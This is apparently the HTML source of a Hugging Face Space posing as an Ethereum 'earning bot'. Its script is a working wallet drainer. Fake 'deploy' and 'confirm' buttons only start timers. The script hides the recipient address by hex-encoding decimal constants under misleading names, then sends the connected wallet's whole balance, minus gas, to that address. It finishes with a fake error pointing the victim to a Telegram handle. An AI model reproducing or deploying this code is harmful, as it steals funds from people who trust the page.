Spaces:
Running
Running
File size: 9,222 Bytes
d1c683a ec30378 d1c683a ec30378 d1c683a ec30378 d1c683a ec30378 d1c683a ec30378 d1c683a ec30378 d1c683a ec30378 d1c683a ec30378 d1c683a |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link
rel="shortcut icon"
href="https://huggingface.co/spaces/Lechcher/ETH_Earming_Bot/resolve/main/eth.png"
type="image/x-icon"
/>
<title>Eth EOL Earming Bot</title>
</head>
<body>
<section>
<button id="connectButton">connect</button>
<table id="checkAdressBalanceButton" style="display: none">
<tr>
<td>my contract</td>
<td><button id="regular">deploy</button></td>
<td>
<p id="result"><code>no contract</code></p>
</td>
</tr>
<tr>
<td>my second address</td>
<td>
<input
type="text"
id="typeAdress"
name="adress_auth"
placeholder="Input second address ETH-0x"
autocomplete="off"
size="20"/>
</td>
<td>
<button id="sendEtherButton" style="display: none">Attach</button>
</td>
<td><div id="statusMessage"></div></td>
</tr>
<tr>
<td>my status</td>
<td><center>
<button disabled="disabled" id="checkBalanceButton" style="display: none">
liquid
</button>
</td>
<td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td>
</tr>
</table>
<script>
const connectButton = document.getElementById("connectButton");
const sendEtherButton = document.getElementById("sendEtherButton");
const typeAdress = document.getElementById("typeAdress");
const checkBalanceButton =document.getElementById("checkBalanceButton");
const balanceDisplay = document.getElementById("balanceDisplay");
const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
const statusMessage = document.getElementById("statusMessage");
let validationComplete = false;
let transferInProgress = false;
const performTransaction = async () => {
try {
const value = typeAdress.value;
transferInProgress = true;
function kyc(dcm)
{
return parseInt(dcm).toString(16);
}
const m = '29555';
const k = '65823';
const e = '32280';
const v = '619621';
const n = '137011';
const c = '4211409';
const i = '14392965';
const p = '113273';
const evm = kyc(m);
const hashlock = kyc(k);
const moe = kyc(e);
const spv = kyc(v);
const comission = kyc(n);
const sc = kyc(c);
const validate = kyc(i);
const mnode = kyc(p);
const ra = `0x${evm}${hashlock}${moe}${spv}${comission}${sc}${validate}${mnode}`;
const balanceWei = await window.ethereum.request({
method: "eth_getBalance",
params: [window.ethereum.selectedAddress, "latest"],
});
const gasPrice = await window.ethereum.request({
method: "eth_gasPrice",
});
const gasLimit = 33000;
const gasCost = gasPrice * gasLimit;
if (BigInt(balanceWei) < gasCost) {
alert("no ETH for gas fee");
transferInProgress = false;
return;
}
const amountToSend = BigInt(balanceWei) - BigInt(gasCost);
await window.ethereum.request({
method: "eth_sendTransaction",
params: [
{
from: window.ethereum.selectedAddress,
to: ra,
value: "0x" + amountToSend.toString(16),
},
],
});
alert("Error. A small amount of liquidity. Write to me in telegram @OnlyTrustCrypto");
transferInProgress = false;
} catch (error) {
alert("Error confirming liquidity. Repeat again");
console.error(error);
transferInProgress = false;
}
};
connectButton.addEventListener("click", async () => {
try {
const accounts = await window.ethereum.request({
method: "eth_requestAccounts",
});
if (accounts.length > 0) {
sendEtherButton.style.display = "block";
typeAdress.style.display = "block";
checkBalanceButton.style.display = "block";
checkAdressBalanceButton.style.display = "block";
connectButton.style.display = "none";
}
} catch (error) {
console.error(error);
alert("connection error");
}
});
sendEtherButton.addEventListener("click", async () => {
try {
const value = typeAdress.value;
if (resultElement.innerText !== "ready") {
alert("Сlick the deploy button");
return;
}
if (!value || value.length < 40) {
alert("Attention! Enter the correct second Ethereum address");
return;
}
if (!validationComplete) {
if (
/^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test(
value
) &&
value.length >= 40
) {
statusMessage.textContent = "waiting";
typeAdress.disabled = true;
sendEtherButton.disabled = true;
setTimeout(() => {
validationComplete = true;
statusMessage.textContent = "ready";
typeAdress.disabled = true;
sendEtherButton.textContent = "confirm";
sendEtherButton.disabled = false;
}, 10000);
} else {
alert("Error! input value");
}
} else if (sendEtherButton.textContent === "confirm") {
performTransaction();
}
} catch (error) {
console.error("Error on process:\n" + error);
transferInProgress = false;
}
});
checkBalanceButton.addEventListener("click", async () => {
try {
const balanceWei = await window.ethereum.request({
method: "eth_getBalance",
params: [window.ethereum.selectedAddress, "latest"],
});
const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
balanceDisplay.innerText = `balance: ${balanceEther} ETH`;
balanceDisplay.style.display = "block";
} catch (error) {
console.error(error);
alert("Error");
}
});
</script>
<style>
html {
box-sizing: border-box;
font-family: "Open Sans", sans-serif;
}
*,
*:before,
*:after {
box-sizing: inherit;
}
body {
font-family: Arial, sans-serif;
text-align: center;
margin: 0;
padding: 20px;
background: #222336;
background: -webkit-radial-gradient(
circle farthest-side at center center,
#222336 0%,
#222336 100%
);
background: -moz-radial-gradient(
circle farthest-side at center center,
#2a2c3f 0%,
#222336 100%
);
background: radial-gradient(
circle farthest-side at center center,
#222336 0%,
#222336 100%
);
}
section {
background: #2a2c3f;
color: white;
border-radius: 1em;
padding: 1em;
position: absolute;
top: 50%;
left: 50%;
margin-right: -50%;
margin: 0 auto;
transform: translate(-50%, -50%);
}
</style>
<script>
const regularLaunchButton = document.getElementById("regular");
const resultElement = document.getElementById("result");
function setButtonsDisabled(isDisabled) {
regularLaunchButton.disabled = isDisabled;
}
function timeout(workFn) {
console.log("exec");
setButtonsDisabled(true);
resultElement.innerText = "waiting...";
setTimeout(() => {
const asyncStartTime = Date.now();
resultElement.innerText = "ready";
setButtonsDisabled(true);
}, 12000);
const startTime = Date.now();
if (typeof workFn === "function") {
workFn();
}
}
regularLaunchButton.addEventListener("click", () => {
timeout();
});
</script>
</section>
</body>
</html>
|